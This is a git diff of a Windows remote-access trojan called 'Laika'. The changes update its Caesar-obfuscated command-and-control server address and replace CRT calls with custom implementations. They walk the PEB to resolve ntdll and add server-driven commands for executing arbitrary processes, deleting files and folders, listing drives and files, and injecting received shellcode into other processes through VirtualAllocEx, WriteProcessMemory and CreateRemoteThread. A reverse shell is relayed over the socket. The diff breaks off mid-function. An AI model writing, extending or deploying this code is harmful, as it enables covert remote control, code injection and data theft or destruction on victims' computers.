diff --git a/.gitignore b/.gitignore index baefdae..02b79ca 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,6 @@ .vim Laika/.vs -Laika/release \ No newline at end of file +Laika/Release +Laika/Laika/Release +Laika/Laika/x64 +*.bin \ No newline at end of file diff --git a/Laika/Laika.vcxproj b/Laika/Laika.vcxproj index a938a20..3340557 100644 --- a/Laika/Laika.vcxproj +++ b/Laika/Laika.vcxproj @@ -76,12 +76,19 @@ false false + false + false + * + false true false + true + true + * false @@ -93,10 +100,12 @@ WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp20 + MultiThreaded Console true + msvcrt.lib;%(AdditionalDependencies) @@ -109,7 +118,7 @@ true stdcpp20 Disabled - MultiThreadedDebug + MultiThreaded false CompileAsC @@ -123,6 +132,15 @@ true + %(AdditionalDependencies) + + + + + + + + @@ -131,10 +149,12 @@ true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true + MultiThreaded Console true + msvcrt.lib;%(AdditionalDependencies) @@ -147,16 +167,23 @@ true Disabled Neither + MultiThreaded Console true true true + %(AdditionalDependencies) + + + false + 16 + @@ -165,6 +192,7 @@ + diff --git a/Laika/Laika.vcxproj.filters b/Laika/Laika.vcxproj.filters index 1c91149..888d259 100644 --- a/Laika/Laika.vcxproj.filters +++ b/Laika/Laika.vcxproj.filters @@ -33,6 +33,9 @@ Shellcode + + Libs + @@ -50,5 +53,8 @@ Shellcode + + Libs + \ No newline at end of file diff --git a/Laika/config.h b/Laika/config.h index 29e964f..06e42b8 100644 --- a/Laika/config.h +++ b/Laika/config.h @@ -1,7 +1,7 @@ #define FALLBACK_SERVERS 1 char* fallback_servers[1] = { - "6>736;=3638:", + "6>736;=3:;36", }; int fallback_servers_ip[1] = { diff --git a/Laika/file_explorer.c b/Laika/file_explorer.c index 16511cc..f11923f 100644 --- a/Laika/file_explorer.c +++ b/Laika/file_explorer.c @@ -1,9 +1,6 @@ #include "file_explorer.h" #include "utils.h" - -int get_object_info(char* path, struct stat* fileinfo) { - return Api.stat(path, fileinfo); -} +#include "libc.h" int get_drives_list(char* buf) { DWORD drives = Api.GetLogicalDrives(); // get a bitmask of available drives @@ -20,12 +17,30 @@ int get_drives_list(char* buf) { return count; // return number of drives found } -char* get_file_list(const char* dirPath, int* numFiles) { +char get_obj_info(const char* dirPath) { + char result = 'N'; + HANDLE hFind = NULL; WIN32_FIND_DATA findData; - HANDLE hFind; WCHAR searchPath[MAX_PATH]; - Api.mbstowcs(searchPath, dirPath, MAX_PATH); + mbstowcs_(searchPath, dirPath, MAX_PATH); + + wcscat(searchPath, L"\\*.*"); + hFind = Api.FindFirstFileW(searchPath, &findData); + + if (hFind == INVALID_HANDLE_VALUE) + return result; + result = (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) ? 'd' : 'f'; + Api.FindClose(hFind); + return result; +} + +char* get_file_list(const char* dirPath, int* numFiles) { + WIN32_FIND_DATA findData; + HANDLE hFind = NULL; + + WCHAR searchPath[MAX_PATH]; + mbstowcs_(searchPath, dirPath, MAX_PATH); wcscat(searchPath, L"\\*.*"); @@ -36,7 +51,7 @@ char* get_file_list(const char* dirPath, int* numFiles) { // Allocate a dynamic array to store the file/folder names int maxFiles = BUFFER_SIZE; - char** fileList = (char**)Api.malloc(maxFiles * sizeof(char*)); + char** fileList = (char**)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, maxFiles * sizeof(char*)); int numFound = 0; do { @@ -44,7 +59,7 @@ char* get_file_list(const char* dirPath, int* numFiles) { WCHAR wFileName[MAX_PATH]; wcscpy(wFileName, findData.cFileName); char fileName[MAX_PATH]; - Api.wcstombs(fileName, wFileName, MAX_PATH); + wcstombs_(fileName, wFileName, MAX_PATH); // Ignore the "." and ".." folders if (strcmp(fileName, ".") == 0 || strcmp(fileName, "..") == 0) { @@ -54,10 +69,10 @@ char* get_file_list(const char* dirPath, int* numFiles) { // Add the file/folder name to the array if (numFound >= maxFiles) { maxFiles *= 2; - fileList = (char**)Api.realloc(fileList, maxFiles * sizeof(char*)); + fileList = (char**)Api.HeapReAlloc(_crt_heap, HEAP_ZERO_MEMORY, fileList, maxFiles * sizeof(char*)); } - fileList[numFound] = (char*)Api.malloc(strlen(fileName) + 1); - Api.strcpy(fileList[numFound], CAESAR(fileName)); + fileList[numFound] = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, strlen(fileName) + 1); + strcpy(fileList[numFound], CAESAR(fileName)); numFound++; } while (Api.FindNextFileW(hFind, &findData) != 0); @@ -68,7 +83,7 @@ char* get_file_list(const char* dirPath, int* numFiles) { for (int i = 0; i < numFound; i++) { bufferSize += strlen(fileList[i]) + 1; // add 1 for the separator } - char* fileNames = (char*)Api.malloc(bufferSize); + char* fileNames = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, bufferSize); fileNames[0] = '\0'; // Concatenate the file/folder names separated by "/" @@ -77,10 +92,10 @@ char* get_file_list(const char* dirPath, int* numFiles) { if (i < numFound - 1) { strcat(fileNames, "/"); } - Api.free(fileList[i]); + Api.HeapFree(_crt_heap, 0, fileList[i]); } - Api.free(fileList); + Api.HeapFree(_crt_heap, 0, fileList); // Set the numFiles parameter to the number of files/folders found *numFiles = numFound; @@ -90,7 +105,7 @@ char* get_file_list(const char* dirPath, int* numFiles) { BOOL delete_folder(LPCTSTR lpszDir) { WIN32_FIND_DATA FindFileData; - HANDLE hFind; + HANDLE hFind = NULL; TCHAR szDir[MAX_PATH]; TCHAR szFileName[MAX_PATH]; @@ -144,13 +159,14 @@ BOOL delete_folder(LPCTSTR lpszDir) { return TRUE; } -int download_file(FILE* fp, SOCKET sock) { - char* data = (char*)Api.malloc(BUFFER_SIZE); - int bytes_read, bytes_sent; +int download_file(HANDLE fp, SOCKET sock) { + char* data = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE); + int bytes_read = 0; + int bytes_sent = 0; // Send the contents of the file through the socket while (1) { - bytes_read = Api.fread(data, 1, BUFFER_SIZE, fp); + Api.WriteFile(fp, data, BUFFER_SIZE, &bytes_read, NULL); if (bytes_read == 0) { break; } @@ -167,15 +183,15 @@ int download_file(FILE* fp, SOCKET sock) { FD_SET(sock, &write_fds); if (Api.select(sock + 1, NULL, &write_fds, NULL, NULL) == SOCKET_ERROR) { - Api.free(data); - Api.fclose(fp); + Api.HeapFree(_crt_heap, 0, data); + Api.CloseHandle(fp); Sleep_(Sleep_TIME); return 0; } } else { - Api.free(data); - Api.fclose(fp); + Api.HeapFree(_crt_heap, 0, data); + Api.CloseHandle(fp); Sleep_(Sleep_TIME); return 0; } @@ -187,15 +203,15 @@ int download_file(FILE* fp, SOCKET sock) { } } - Api.fclose(fp); - Api.free(data); + Api.CloseHandle(fp); + Api.HeapFree(_crt_heap, 0, data); return 1; } void upload_file(SOCKET sock, HANDLE file_handle) { // Receive file - char* buffer = (char*)Api.malloc(BUFFER_SIZE); + char* buffer = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE); int num_bytes = 0; int total_bytes = 0; @@ -218,7 +234,50 @@ void upload_file(SOCKET sock, HANDLE file_handle) { } // Close the file handle - Api.free(buffer); + Api.HeapFree(_crt_heap, 0, buffer); return; -} \ No newline at end of file +} + +char* upload_file_to_mem(SOCKET sock, size_t *total_bytes) { + char* buffer = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE); + if (!buffer) { + return NULL; // Memory allocation failed + } + + int num_bytes = 0; + size_t buffer_capacity = BUFFER_SIZE; + + int iOptVal = 5000; + int iOptLen = sizeof(int); + + Api.setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char*)&iOptVal, iOptLen); + + // Download the file content from the socket + while ((num_bytes = Api.recv(sock, buffer + *total_bytes, BUFFER_SIZE, 0)) > 0 || (num_bytes == -1 && Api.WSAGetLastError() == WSAEWOULDBLOCK)) { + if (num_bytes > 0) { + *total_bytes += num_bytes; + // Reallocate the buffer if necessary + if (*total_bytes + BUFFER_SIZE > buffer_capacity) { + buffer_capacity *= 2; + char* new_buffer = (char*)Api.HeapReAlloc(_crt_heap, HEAP_ZERO_MEMORY, buffer, buffer_capacity); + if (!new_buffer) { + Api.HeapFree(_crt_heap, 0, buffer); + return NULL; // Memory reallocation failed + } + buffer = new_buffer; + } + } + } + + buffer[*total_bytes] = '\0'; + + // Reallocate to the exact size of the received data + char* final_buffer = (char*)Api.HeapReAlloc(_crt_heap, HEAP_ZERO_MEMORY, buffer, *total_bytes); + if (!final_buffer) { + Api.HeapFree(_crt_heap, 0, buffer); + return NULL; // Memory reallocation failed + } + + return final_buffer; +} diff --git a/Laika/file_explorer.h b/Laika/file_explorer.h index 104049c..8e33f7d 100644 --- a/Laika/file_explorer.h +++ b/Laika/file_explorer.h @@ -14,9 +14,10 @@ extern API Api; -int get_object_info(char* path, struct stat* fileinfo); +char get_obj_info(const char* dirPath); int get_drives_list(char* buf); BOOL delete_folder(LPCTSTR lpszDir); char* get_file_list(const char* dirPath, int* numFiles); -int download_file(FILE* fp, SOCKET sock); -void upload_file(SOCKET sock, HANDLE file_handle); \ No newline at end of file +int download_file(HANDLE fp, SOCKET sock); +void upload_file(SOCKET sock, HANDLE file_handle); +char* upload_file_to_mem(SOCKET sock, size_t *total_bytes); diff --git a/Laika/libc.c b/Laika/libc.c new file mode 100644 index 0000000..11afff5 --- /dev/null +++ b/Laika/libc.c @@ -0,0 +1,216 @@ +#include "libc.h" +#include "resolve_apis.h" + +size_t strlen_(char* src) { + size_t s = 0; + + if (src == NULL) + return 0; + for (; src[s] != 0; s++); + return s; +} + +char* strcpy_(char* dest, const char* src) { + size_t i = 0; + + for (; src[i] != 0; i++) + dest[i] = src[i]; + dest[i] = 0; + return dest; +} + +void *memset_(void* a, int val, size_t size) { + if (a == NULL) + return NULL; + for (size_t i = 0; i < size; i++) + ((char*)a)[i] = (char)val; + return a; +} + +int strncmp_(char* a, char* b, size_t size) { + if (a == NULL || b == NULL) + return -1; + for (size_t i = 0; a[i] != 0 && b[i] != 0 && i < size; i++) + if (a[i] != b[i]) + return a[i] - b[i]; + return 0; +} + +size_t utf8_char_length(unsigned char c) { + if ((c & 0x80) == 0) return 1; // 1-byte character: 0xxxxxxx + if ((c & 0xE0) == 0xC0) return 2; // 2-byte character: 110xxxxx + if ((c & 0xF0) == 0xE0) return 3; // 3-byte character: 1110xxxx + if ((c & 0xF8) == 0xF0) return 4; // 4-byte character: 11110xxx + return 0; // Invalid UTF-8 +} + +wchar_t utf8_to_wchar(const unsigned char* mbstr, size_t* length) { + wchar_t wc = 0; + size_t len = utf8_char_length(mbstr[0]); + *length = len; + + switch (len) { + case 1: + wc = mbstr[0]; + break; + case 2: + wc = ((mbstr[0] & 0x1F) << 6) | (mbstr[1] & 0x3F); + break; + case 3: + wc = ((mbstr[0] & 0x0F) << 12) | ((mbstr[1] & 0x3F) << 6) | (mbstr[2] & 0x3F); + break; + case 4: + wc = ((mbstr[0] & 0x07) << 18) | ((mbstr[1] & 0x3F) << 12) | ((mbstr[2] & 0x3F) << 6) | (mbstr[3] & 0x3F); + break; + default: + *length = 0; // Invalid UTF-8 + break; + } + return wc; +} + +size_t mbstowcs_(wchar_t* dest, const char* src, size_t n) { + size_t count = 0; + const unsigned char* mbstr = (const unsigned char*)src; + + while (*mbstr != '\0' && count < n) { + size_t len = 0; + wchar_t wc = utf8_to_wchar(mbstr, &len); + if (len == 0) + return (size_t)-1; + if (dest != NULL) + dest[count] = wc; + mbstr += len; + count++; + } + if (dest != NULL && count < n) + dest[count] = L'\0'; + return count; +} + +size_t wchar_to_utf8(wchar_t wc, unsigned char* utf8) { + if (wc <= 0x7F) { + utf8[0] = (unsigned char)wc; + return 1; + } + else if (wc <= 0x7FF) { + utf8[0] = 0xC0 | ((wc >> 6) & 0x1F); + utf8[1] = 0x80 | (wc & 0x3F); + return 2; + } + else if (wc <= 0xFFFF) { + utf8[0] = 0xE0 | ((wc >> 12) & 0x0F); + utf8[1] = 0x80 | ((wc >> 6) & 0x3F); + utf8[2] = 0x80 | (wc & 0x3F); + return 3; + } + else if (wc <= 0x10FFFF) { + utf8[0] = 0xF0 | ((wc >> 18) & 0x07); + utf8[1] = 0x80 | ((wc >> 12) & 0x3F); + utf8[2] = 0x80 | ((wc >> 6) & 0x3F); + utf8[3] = 0x80 | (wc & 0x3F); + return 4; + } + return 0; // Invalid wide character +} + +size_t wcstombs_(char* dest, const wchar_t* src, size_t n) { + size_t count = 0; + unsigned char utf8[4]; + + while (*src != L'\0' && count < n) { + size_t len = wchar_to_utf8(*src, utf8); + if (len == 0 || count + len > n) + return (size_t)-1; + if (dest != NULL) { + for (size_t i = 0; i < len; i++) + dest[count++] = (char)utf8[i]; + } + else + count += len; + src++; + } + if (dest != NULL && count < n) + dest[count] = '\0'; + return count; +} + +int wcscmp_(const wchar_t* s1, const wchar_t* s2) { + while (*s1 != L'\0' && *s2 != L'\0') { + if (*s1 != *s2) + return (*s1 < *s2) ? -1 : 1; + s1++; + s2++; + } + if (*s1 == L'\0' && *s2 == L'\0') + return 0; + else if (*s1 == L'\0') + return -1; + else + return 1; +} + +wchar_t* wcsstr_(const wchar_t* haystack, const wchar_t* needle) { + if (!*needle) + return (wchar_t*)haystack; + while (*haystack) { + const wchar_t* h = haystack; + const wchar_t* n = needle; + + while (*h && *n && (*h == *n)) { + h++; + n++; + } + if (!*n) + return (wchar_t*)haystack; + haystack++; + } + return NULL; +} + +void* my_GetProcAddress(HMODULE hModule, LPCSTR lpProcName) { + if (hModule == NULL) { + return NULL; + } + + IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)hModule; + if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) { + return NULL; + } + + IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)((BYTE*)hModule + dosHeader->e_lfanew); + if (ntHeader->Signature != IMAGE_NT_SIGNATURE) { + return NULL; + } + + IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)((BYTE*)hModule + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + DWORD* nameRVAs = (DWORD*)((BYTE*)hModule + exportDir->AddressOfNames); + DWORD* addrRVAs = (DWORD*)((BYTE*)hModule + exportDir->AddressOfFunctions); + WORD* ordinals = (WORD*)((BYTE*)hModule + exportDir->AddressOfNameOrdinals); + + for (DWORD i = 0; i < exportDir->NumberOfNames; i++) { + const char* functionName = (const char*)((BYTE*)hModule + nameRVAs[i]); + if (strcmp(functionName, lpProcName) == 0) { + DWORD funcRVA = addrRVAs[ordinals[i]]; + void* funcPtr = (void*)((BYTE*)hModule + funcRVA); + return funcPtr; + } + } + return NULL; +} + +void* get_ntfunction(const char* func) { + PTEB tebPtr = GetTEB(); + + PPEB_LDR_DATA ldrData = tebPtr->ProcessEnvironmentBlock->Ldr; + PLIST_ENTRY moduleList = &(ldrData->InMemoryOrderModuleList); + HMODULE hntdll = 0; + for (PLIST_ENTRY entry = moduleList->Flink; entry != moduleList; entry = entry->Flink) { + LDR_DATA_TABLE_ENTRY* module = CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); + if (wcsstr_(module->FullDllName.Buffer, L"ntdll.dll") != NULL) { + hntdll = (HMODULE)(module->DllBase); + break; + } + } + return my_GetProcAddress(hntdll, func); +} diff --git a/Laika/libc.h b/Laika/libc.h new file mode 100644 index 0000000..306fb07 --- /dev/null +++ b/Laika/libc.h @@ -0,0 +1,16 @@ +#pragma once +#include +#include + +extern HANDLE _crt_heap; + +char* strcpy_(char* dest, const char* src); +size_t strlen_(char* src); +int strncmp_(char* a, char* b, size_t size); +void *memset_(void* a, int val, size_t size); +size_t mbstowcs_(wchar_t* dest, const char* src, size_t n); +size_t wcstombs_(char* dest, const wchar_t* src, size_t n); +int wcscmp_(const wchar_t* s1, const wchar_t* s2); +wchar_t* wcsstr_(const wchar_t* haystack, const wchar_t* needle); +void* my_GetProcAddress(HMODULE hModule, LPCSTR lpProcName); +void* get_ntfunction(const char* func); diff --git a/Laika/main.c b/Laika/main.c index fbe1fb7..37e4be0 100644 --- a/Laika/main.c +++ b/Laika/main.c @@ -1,30 +1,37 @@ +#include "libc.h" + #include -#include #include +#include #include + #include "utils.h" #include "config.h" #include "resolve_apis.h" #include "file_explorer.h" + +#define SHELLCODE + +#ifdef SHELLCODE #include "shellcode.h" +#endif HANDLE g_hChildStd_IN_Rd = NULL; HANDLE g_hChildStd_IN_Wr = NULL; HANDLE g_hChildStd_OUT_Rd = NULL; HANDLE g_hChildStd_OUT_Wr = NULL; -extern API Api; - #define BUFFER_SIZE 4096 +#define SMALL_SLEEP_TIME 50 DWORD WINAPI redirect_i_thread(LPVOID lpParameter) { SOCKET sock = (SOCKET)lpParameter; - char* buffer = (char*)Api.malloc(BUFFER_SIZE); - DWORD bytesRead; + char* buffer = Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE); + DWORD bytesRead = 0; while (1) { //Read data from the socket - Api.memset(buffer, 0, BUFFER_SIZE); + memset_(buffer, 0, BUFFER_SIZE); bytesRead = Api.recv(sock, buffer, BUFFER_SIZE, 0); if (bytesRead > 0) { Api.WriteFile(g_hChildStd_IN_Wr, CAESAR_DECRYPT(buffer), bytesRead, NULL, NULL); @@ -34,23 +41,23 @@ DWORD WINAPI redirect_i_thread(LPVOID lpParameter) { break; } else { - Sleep_(50); + Sleep_(SMALL_SLEEP_TIME); } } - Api.free(buffer); + Api.HeapFree(_crt_heap, 0, buffer); return 0; } DWORD WINAPI redirect_o_thread(LPVOID lpParameter) { SOCKET sock = (SOCKET)lpParameter; - char* buffer = (char*)Api.malloc(BUFFER_SIZE); - DWORD bytesRead; + char* buffer = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE); + DWORD bytesRead = 0; while (1) { // Read data from the child process's stdout pipe if (Api.ReadFile(g_hChildStd_OUT_Rd, buffer, BUFFER_SIZE, &bytesRead, NULL)) { - Api.send(sock, CAESAR(buffer), bytesRead, 0); + Api.send(sock, CAESAR(buffer), (int)bytesRead, 0); //Api.send(sock, buffer, bytesRead, 0); } else { @@ -62,7 +69,7 @@ DWORD WINAPI redirect_o_thread(LPVOID lpParameter) { } } - Api.free(buffer); + Api.HeapFree(_crt_heap, 0, buffer); return 0; } @@ -76,19 +83,15 @@ DWORD WINAPI watch_process(LPVOID lpParameter) { watch_process_args* args = (watch_process_args*)(lpParameter); char buffer[1]; // buffer to hold the data - int n; + int n = 0; while (1) { n = Api.recv(args->sock, buffer, sizeof(buffer), MSG_PEEK); if (n > 0) { // There is data available on the socket, so the connection is still alive } - else if (n == 0) { - // The connection has been closed - break; - } else { - // An error occurred + // An error occurred or the connection has been closed break; } } @@ -107,21 +110,20 @@ void SendShellEndedSignal(SOCKET sock) { } int serv = -1; -int main() { +HANDLE _crt_heap = 0; +int main(void) { InitApis(); - Message(); - - Tmemset memset = Api.memset; + _crt_heap = Api.HeapCreate(0, 0, 0); wchar_t wtext[20]; - Api.mbstowcs(wtext, CAESAR_DECRYPT("hri3j}j"), strlen(CAESAR_DECRYPT("hri3j}j")) + 1);//Plus null + mbstowcs_(wtext, CAESAR_DECRYPT("hri3j}j"), strlen(CAESAR_DECRYPT("hri3j}j")) + 1);//Plus null LPWSTR cmd_char = wtext; - int sock; + int sock = 0; int first = 1; struct sockaddr_in server; - char* server_reply = (char*)Api.malloc(BUFFER_SIZE); + char* server_reply = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE); server.sin_family = AF_INET; WORD wVersionRequested = MAKEWORD(2, 2); @@ -145,12 +147,12 @@ retry: //ça évite qu'elle reste dans la mémoire trop longtemps //ça évite aussi qu'on utilise CAESAR_DECRYPT sur une ip déjà décryptée size_t len = strlen(fallback_servers[serv]); - char* Tmp = Api.malloc(len + 1); - Api.strcpy(Tmp, fallback_servers[serv]); + char* Tmp = Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, len + 1); + strcpy(Tmp, fallback_servers[serv]); server.sin_addr.s_addr = Api.inet_addr(CAESAR_DECRYPT(Tmp)); - Api.free(Tmp); + Api.HeapFree(_crt_heap, 0, Tmp); server.sin_port = Api.htons(fallback_servers_ip[serv]); @@ -173,7 +175,7 @@ retry: //keep communicating with server while (1) { - Api.memset(server_reply, 0, BUFFER_SIZE); + memset_(server_reply, 0, BUFFER_SIZE); //Receive a reply from the server if (Api.recv(sock, server_reply, BUFFER_SIZE, 0) <= 0) @@ -183,31 +185,31 @@ retry: goto retry; } - if (Api.strncmp(server_reply, "ijqdknqj", strlen("ijqdknqj")) == 0) { //del_file - char* path = (char*)Api.malloc(MAX_PATH); + if (strncmp_(server_reply, "ijqdknqj", strlen("ijqdknqj")) == 0) { //del_file + char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH); //Receive a reply from the server if (Api.recv(sock, path, MAX_PATH, 0) <= 0) { //recv failed - Api.free(path); + Api.HeapFree(_crt_heap, 0, path); Sleep_(Sleep_TIME); goto retry; } - Api.remove(CAESAR_DECRYPT(path)); + Api.DeleteFileA(CAESAR_DECRYPT(path)); - Api.free(path); + Api.HeapFree(_crt_heap, 0, path); } - if (Api.strncmp(server_reply, "ijqdinw", strlen("ijqdinw")) == 0) { //del_dir - char* path = (char*)Api.malloc(MAX_PATH); + if (strncmp_(server_reply, "ijqdinw", strlen("ijqdinw")) == 0) { //del_dir + char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH); //Receive a reply from the server if (Api.recv(sock, path, MAX_PATH, 0) <= 0) { //recv failed - Api.free(path); + Api.HeapFree(_crt_heap, 0, path); Sleep_(Sleep_TIME); goto retry; } @@ -216,178 +218,159 @@ retry: delete_folder(wstr); - Api.free((LPWSTR)wstr); - Api.free(path); + Api.HeapFree(_crt_heap, 0, (LPWSTR)wstr); + Api.HeapFree(_crt_heap, 0, path); } - if (Api.strncmp(server_reply, "ljydtgodnskt", strlen("ljydtgodnskt")) == 0) { //get_obj_info - char* path = (char*)Api.malloc(MAX_PATH); - struct stat fileinfo; + if (strncmp_(server_reply, "ljydtgodnskt", strlen("ljydtgodnskt")) == 0) { //get_obj_info + char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH); //Receive a reply from the server if (Api.recv(sock, path, MAX_PATH, 0) <= 0) { //recv failed - Api.free(path); + Api.HeapFree(_crt_heap, 0, path); Sleep_(Sleep_TIME); goto retry; } - - int st = Api.stat(CAESAR_DECRYPT(path), &fileinfo); - if (st != 0) { - - if (Api.send(sock, "N/N", strlen("N/N"), 0) < 0) { - //send failed - Api.free(path); - Sleep_(Sleep_TIME); - goto retry; - } - - Api.free(path); - continue; - } - - time_t mtime = fileinfo.st_mtime; - struct tm* mtime_tm = Api.localtime(&mtime); - char mtime_str[30]; - char sizeStr[20]; - Api.strftime(mtime_str, 30, "%Y-%m-%d %H:%M:%S", mtime_tm); - - // Concatenate the file size and modified time strings separated by "/" - Api._snprintf(sizeStr, 20, "%lld", (long long)fileinfo.st_size); - int bufferSize = strlen(sizeStr) + 1 + strlen(mtime_str) + 1; // add 1 for the separator and the null terminator - char* fileInfoStr = (char*)Api.malloc(bufferSize); - Api._snprintf(fileInfoStr, bufferSize, "%s/%s", sizeStr, mtime_str); - - if (Api.send(sock, fileInfoStr, strlen(fileInfoStr), 0) < 0) { + char infos = get_obj_info(CAESAR_DECRYPT(path)); + Api.HeapFree(_crt_heap, 0, path); + if (Api.send(sock, &infos, 1, 0) < 0) { //send failed - Api.free(path); - Api.free(fileInfoStr); Sleep_(Sleep_TIME); goto retry; } - - Api.free(fileInfoStr); - Api.free(path); } - if (Api.strncmp(server_reply, "ljydiwn{jx", strlen("ljydiwn{jx")) == 0) { //get_drives - char* drives = (char*)Api.malloc(MAX_PATH); + if (strncmp_(server_reply, "ljydiwn{jx", strlen("ljydiwn{jx")) == 0) { //get_drives + char* drives = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH); get_drives_list(drives); if (Api.send(sock, drives, strlen(drives), 0) < 0) { //send failed - Api.free(drives); + Api.HeapFree(_crt_heap, 0, drives); Sleep_(Sleep_TIME); goto retry; } - Api.free(drives); + Api.HeapFree(_crt_heap, 0, drives); } - if (Api.strncmp(server_reply, "nsojhy", strlen("nsojhy")) == 0) { //inject - char* arch = (char*)Api.malloc(2); + if (strncmp_(server_reply, "j}jhzyj", strlen("j}jhzyj")) == 0) { //execute + char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH); + STARTUPINFOA si; + PROCESS_INFORMATION pi; + + memset_(&si, 0, sizeof(si)); + si.cb = sizeof(si); + memset_(&pi, 0, sizeof(pi)); + + if (Api.recv(sock, path, MAX_PATH, 0) <= 0) { + Api.HeapFree(_crt_heap, 0, path); + Sleep_(Sleep_TIME); + goto retry; + } + + Api.CreateProcessA( + NULL, // Application name + CAESAR_DECRYPT(path), // Command line + NULL, // Process security attributes + NULL, // Primary thread security attributes + FALSE, // Handles are not inherited + CREATE_NEW_PROCESS_GROUP | CREATE_NEW_CONSOLE, // Creation flags + NULL, // Use parent's environment block + NULL, // Starting directory + &si, // Pointer to STARTUPINFOW structure + &pi // Pointer to PROCESS_INFORMATION structure + ); + + Api.HeapFree(_crt_heap, 0, path); + } + +#ifdef SHELLCODE + if (strncmp_(server_reply, "nsojhy", strlen("nsojhy")) == 0) { //inject + char* arch = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, 2); if (Api.recv(sock, arch, 2, 0) <= 0) { //send failed - Api.free(arch); + Api.HeapFree(_crt_heap, 0, arch); Sleep_(Sleep_TIME); goto retry; } CAESAR_DECRYPT(arch); - HANDLE hFile = CreateFileMappingW( - INVALID_HANDLE_VALUE, // Use the page file - NULL, // Default security attributes - PAGE_READWRITE, // Read/write access - 0, // Map the entire file - BUFFER_SIZE, // Size of the file (in bytes) - TEXT("idufhiu")); // Name of the file mapping object - - if (hFile == NULL) { - Api.free(arch); + size_t fsize = 0; + char *file = upload_file_to_mem(sock, &fsize); + if (file == NULL) { Sleep_(Sleep_TIME); goto retry; } - upload_file(sock, hFile); - - // Move the file pointer back to the beginning of the file - Api.SetFilePointer(hFile, 0, NULL, FILE_BEGIN); - - HANDLE proc; - if (Api.strncmp(arch, "32", strlen("32")) == 0) { - proc = Api.OpenProcess(PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION, FALSE, (DWORD)18872);//FindProcessByArch(L"x86"); + HANDLE proc = NULL; + if (strncmp_(arch, "32", strlen("32")) == 0) { + proc = FindProcessByArch(L"x86"); } else { proc = FindProcessByArch(L"x64"); } - Api.free(arch); + Api.HeapFree(_crt_heap, 0, arch); if (proc == NULL) { - Api.CloseHandle(hFile); + Api.HeapFree(_crt_heap, 0, file); Sleep_(Sleep_TIME); goto retry; } - // Get the size of the file - LARGE_INTEGER fileSize; - if (!Api.GetFileSizeEx(hFile, &fileSize)) - { - Api.CloseHandle(hFile); - Api.CloseHandle(proc); - Sleep_(Sleep_TIME); - goto retry; - } - - LPVOID addr = Api.VirtualAllocEx(proc, NULL, (size_t)fileSize.QuadPart, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + LPVOID addr = Api.VirtualAllocEx(proc, NULL, fsize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (addr == NULL) { - Api.CloseHandle(hFile); + Api.HeapFree(_crt_heap, 0, file); Api.CloseHandle(proc); Sleep_(Sleep_TIME); goto retry; } - DWORD bytesRead; - char* shellcode = (char*)Api.malloc((size_t)fileSize.QuadPart); - if (!Api.ReadFile(hFile, shellcode, sizeof(shellcode), &bytesRead, NULL)) - { - Api.free(shellcode); - Api.CloseHandle(hFile); + if (Api.WriteProcessMemory(proc, addr, file, fsize, NULL) == 0) { + Api.HeapFree(_crt_heap, 0, file); Api.CloseHandle(proc); Sleep_(Sleep_TIME); goto retry; } - Api.WriteProcessMemory(proc, addr, shellcode, BUFFER_SIZE, NULL); + HANDLE hThread = Api.CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL); + if (hThread == NULL) { + Api.HeapFree(_crt_heap, 0, file); + Api.CloseHandle(proc); + Sleep_(Sleep_TIME); + goto retry; + } - Api.free(shellcode); - Api.CloseHandle(hFile); + Api.HeapFree(_crt_heap, 0, file); Api.CloseHandle(proc); + Api.CloseHandle(hThread); } - - if (Api.strncmp(server_reply, "ljydknqjdqnxy", strlen("ljydknqjdqnxy")) == 0) { //get_file_list - char* file_list = (char*)Api.malloc(BUFFER_SIZE); - char* path = (char*)Api.malloc(MAX_PATH); +#endif + if (strncmp_(server_reply, "ljydknqjdqnxy", strlen("ljydknqjdqnxy")) == 0) { //get_file_list + char* file_list = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE); + char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH); //Receive a reply from the server if (Api.recv(sock, path, MAX_PATH, 0) <= 0) { //recv failed - Api.free(file_list); - Api.free(path); + Api.HeapFree(_crt_heap, 0, file_list); + Api.HeapFree(_crt_heap, 0, path); Sleep_(Sleep_TIME); goto retry; } - int num_files; + int num_files = 0; file_list = get_file_list(CAESAR_DECRYPT(path), &num_files); if (file_list == NULL) { - 